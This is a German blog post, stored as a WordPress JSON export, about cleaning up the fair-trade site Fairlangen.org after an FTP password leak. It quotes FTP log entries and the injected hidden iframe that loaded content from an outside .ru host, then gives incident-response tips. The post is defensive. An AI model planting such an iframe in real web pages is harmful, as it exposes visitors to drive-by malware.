{"id":6067,"date":"2011-04-26T17:45:05","date_gmt":"2011-04-26T15:45:05","guid":{"rendered":"http:\/\/www.glorf.it\/blog\/?p=6067"},"modified":"2011-04-26T17:45:05","modified_gmt":"2011-04-26T15:45:05","slug":"fairlangen-org-wieder-entseucht","status":"publish","type":"post","link":"http:\/\/www.glorf.it\/blog\/2011\/04\/26\/webtech\/fairlangen-org-wieder-entseucht","title":{"rendered":"Fairlangen.org wieder entseucht"},"content":{"rendered":"<p>In unserer <a href=\"http:\/\/www.elia-erlangen.de\">Gemeinde<\/a> betreiben einige Engagierte die sehr erfolgreiche Web-Seite <a href=\"http:\/\/www.fairlangen.org\">Fairlangen.org<\/a>. Dabei geht es darum sich dar&#252;ber auszutauschen, wo  man in Erlangen fair gehandelte Waren kaufen kann. &#220;ber Wege, die mir noch nicht klar sind, hat ein B&#246;sewicht Zugang zu <em>dem<\/em> FTP-Passwort der Seite bekommen und ein paar der dort vorhandenen Index-Seiten (index.htm, index.html und index.php) mit einem b&#246;sartigen Code-Snippet verseucht. Wirksam war dabei aber lediglich die Seite &quot;index.php&quot;. Einem Menschen w&#228;re sicher sofort aufgefallen, dass die index.htm und index.html nur &#252;ber einen direkten Link aufgerufen werden konnten und eigentlich sinnlos waren (jetzt sind sie Geschichte). Daher vermute ich, dass das alles automatisiert erfolgte.<\/p>\n<p>Einen der <a href=\"http:\/\/www.glorf.it\/blog\/2011\/04\/26\/webtech\/ftp-log-file-verstehen\">Log-Eintr&#228;ge<\/a> habe ich bereits vorher erkl&#228;rt (ist nur an zwei Stellen anonymisiert):<\/p>\n<p><code>Tue Apr 19 14:02:55 2011 0 ::ffff:174.37.220.147 65 \/www\/htdocs\/xxxxxxxx\/index.htm b _ o r yyyyyyyy ftp 0 * c<br \/>\nTue Apr 19 14:02:55 2011 0 ::ffff:174.37.220.147 198 \/www\/htdocs\/xxxxxxxx\/index.htm b _ i r yyyyyyyy ftp 0 * c<\/code><\/p>\n<p>Daran sieht man, dass nicht unser Webserver kompromittiert und dann der Schadcode via CMS eingeschleust wurde, sondern der FTP-Zugriff von einem anderen System (<a href=\"http:\/\/whois.domaintools.com\/174.37.220.147\">174.37.220.147<\/a> sind wir nicht) erfolgte. HIer sieh man, wie eine der verseuchten Dateien gespeichert, manipuliert und noch in der gleichen Sekunde wieder hoch geladen wurde. Danach war sie um ein iframe reicher (Bitte nicht der URL folgen, ist absichtlich kein Link!):<\/p>\n<p><code>&lt;iframe src=\"http:\/\/quake2012.ru\/in.php?a=QQkFBwQHBAEABQQMEkcJBQcEBwAEAwUBAw==\" width=\"0\" height=\"0\" frameborder=\"0\"&gt;&lt;\/iframe&gt;<\/code><\/p>\n<p>Aus naheliegenden Gr&#252;nden habe ich nicht ausprobiert, was dieser fremde Link f&#252;r Code nachlud. Ich hoffe, dass er nicht viel Schaden anrichtete. Unsere Seite w&#252;rde n&#228;mlich sehr schnell von einschl&#228;gigen Seiten als b&#246;sartig eingestuft. Daher warnten Firefox, Safari und Google vor dem Besuch unserer Seite. <\/p>\n<p>Nach der &#196;nderung aller Passw&#246;rter  (und dem Eintragen der DB-Passw&#246;rter in tausend INIs) und der Bereinigung der Seite, fing die eigentlich Arbeit an. Weil mir unklar war, wie der Gauner an das FTP-Passwort kam (der eigentliche Betreuer der Webseite ist in Urlaub), konnte ich nur vermuten. Es sieht nicht danach aus, als w&#228;re die Seite kompromittiert worden, sondern eher der Rechner eines der FTP-Nutzer dieser Seite. Trotzdem habe ich s&#228;mtliche Software darauf aktualisiert, das war ohnehin f&#228;llig.<\/p>\n<p>Aus der Erfahrung meine Tipps in der Situation:<\/p>\n<ul>\n<li>cool bleiben und nichts einfach l&#246;schen<\/li>\n<li>Die Dom&#228;ne einfach mal in ein leeres Unterverzeichnis umleiten oder wenigstens die Index-Seiten als erstes einfach mal umbenennen, um die Leser mit &#228;lteren Browsern, die nicht warnen, zu sch&#252;tzen.<\/li>\n<li>Das FTP-Passwort &#228;ndern.<\/li>\n<li>Wenn genug Bandbreite da ist (sehr zu empfehlen): Den aktuellen, verseuchten Stand lokal sichern, sonst nur die infizierten Dateien separat speichern.<\/li>\n<li>Mittels einen DIFF-Tool, wie bspw. <a href=\"http:\/\/www.scootersoftware.com\/\">BeyondCompare<\/a> (billig und gut) den aktuellen Stand auf dem Webserver mit der letzten lokalen Sicherung vergleichen und die betroffenen Dateien ermitteln. <\/li>\n<li>Die Log-Dateien sichten, bei uns wurde ich schnell im FTP-Log f&#252;ndig.<\/li>\n<li>Mit der letzten Sicherung zur&#252;ck setzen.<\/li>\n<li>Alle Passw&#246;rter &#228;ndern, die in irgendwelchen Dateien stehen, selbst wenn die Dateien nicht per FTP herunter geladen wurden. Ein B&#246;sling k&#246;nnte sie auch per PHP zippen und dann als Zip runter laden. Ich pers&#246;nlich wurde das auch tun, wenn ich in den Logs genau sehen kann, dass sonst nicht weiter herunter geladen wurde.<\/li>\n<li>Dom&#228;ne wieder auf den nun sauberen Stand umleiten und n&#246;tigenfalls Updates aller Software einspielen.<\/li>\n<li>Google, Firefox, etc davon &#252;berzeugen, dass wir wieder zu den Guten geh&#246;ren.<\/li>\n<\/ul>\n<p>Das Timing war &#252;brigens perfekt: Der eigentliche Betreuer in Urlaub, mein griffbereites letztes Backup Monate alt, Ostern, sch&#246;nes Wetter, &#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In unserer Gemeinde betreiben einige Engagierte die sehr erfolgreiche Web-Seite Fairlangen.org. Dabei geht es darum sich dar&#252;ber auszutauschen, wo man in Erlangen fair gehandelte Waren kaufen kann. &#220;ber Wege, die mir noch nicht klar sind, hat ein B&#246;sewicht Zugang zu dem FTP-Passwort der Seite bekommen und ein paar der dort vorhandenen Index-Seiten (index.htm, index.html und [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[53],"_links":{"self":[{"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/posts\/6067"}],"collection":[{"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/comments?post=6067"}],"version-history":[{"count":5,"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/posts\/6067\/revisions"}],"predecessor-version":[{"id":6072,"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/posts\/6067\/revisions\/6072"}],"wp:attachment":[{"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/media?parent=6067"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/categories?post=6067"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.glorf.it\/blog\/wp-json\/wp\/v2\/tags?post=6067"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}